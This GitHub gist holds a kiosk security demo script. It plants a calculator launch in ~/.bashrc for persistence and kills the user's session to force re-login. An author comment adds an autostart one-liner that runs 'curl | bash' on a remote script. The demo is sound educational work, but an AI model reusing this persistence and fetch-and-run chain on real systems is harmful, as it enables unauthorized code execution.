Skip to content

Instantly share code, notes, and snippets.

@christian-taillon
Last active February 6, 2026 03:41
Show Gist options
  • Select an option

  • Save christian-taillon/25b217bdf409abc751747878bc62c498 to your computer and use it in GitHub Desktop.

Select an option

Save christian-taillon/25b217bdf409abc751747878bc62c498 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Define the command to be injected
CALC_COMMAND='[[ -n "$DISPLAY" ]] && (pgrep gnome-calculator > /dev/null || gnome-calculator &)'
clear
echo "--- KIOSK SECURITY DEMONSTRATION ---"
echo "Targeting: User Login Configuration (~/.bashrc)"
sleep 4
echo ""
echo "STEP 1: Persistence"
echo "We are adding a command to the Bash configuration file."
echo "This file executes every time a session starts."
sleep 5
# Write to the file
if ! grep -qF "$CALC_COMMAND" ~/.bashrc; then
echo "$CALC_COMMAND" >> ~/.bashrc
echo "[SUCCESS] Calculator trigger added to login profile."
else
echo "[NOTICE] Trigger already exists in profile. Moving forward."
fi
sleep 5
echo ""
echo "STEP 2: The Kiosk Loop"
echo "Most kiosks are set to 'Auto-Login' for convenience."
sleep 5
echo "When we log out or reboot, the system will immediately"
echo "start a new session, triggering our new code."
sleep 6
echo ""
echo "STEP 3: Triggering Execution"
echo "Logging out to cycle the session..."
sleep 4
echo ""
echo "Session closing in:"
for i in {5..1}; do
echo "$i..."
sleep 1
done
# Force logout to trigger the kiosk's auto-login mechanism
pkill -u $USER
@christian-taillon
Copy link
Author

The one-liner script to prepare the launch of this remote script at login.

echo -e '#!/bin/bash\nsleep 10\nexport DISPLAY=:0\ndbus-launch gnome-terminal -- bash -c "curl -sL https://gist.githubusercontent.com/christian-taillon/25b217bdf409abc751747878bc62c498/raw/ctrlescapepayload.sh | bash; exec bash"' > ~/launch_demo.sh && chmod +x ~/launch_demo.sh && mkdir -p ~/.config/autostart && echo -e "[Desktop Entry]\nType=Application\nName=KioskDemo\nExec=$HOME/launch_demo.sh\nX-GNOME-Autostart-enabled=true" > ~/.config/autostart/kiosk-demo.desktop

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment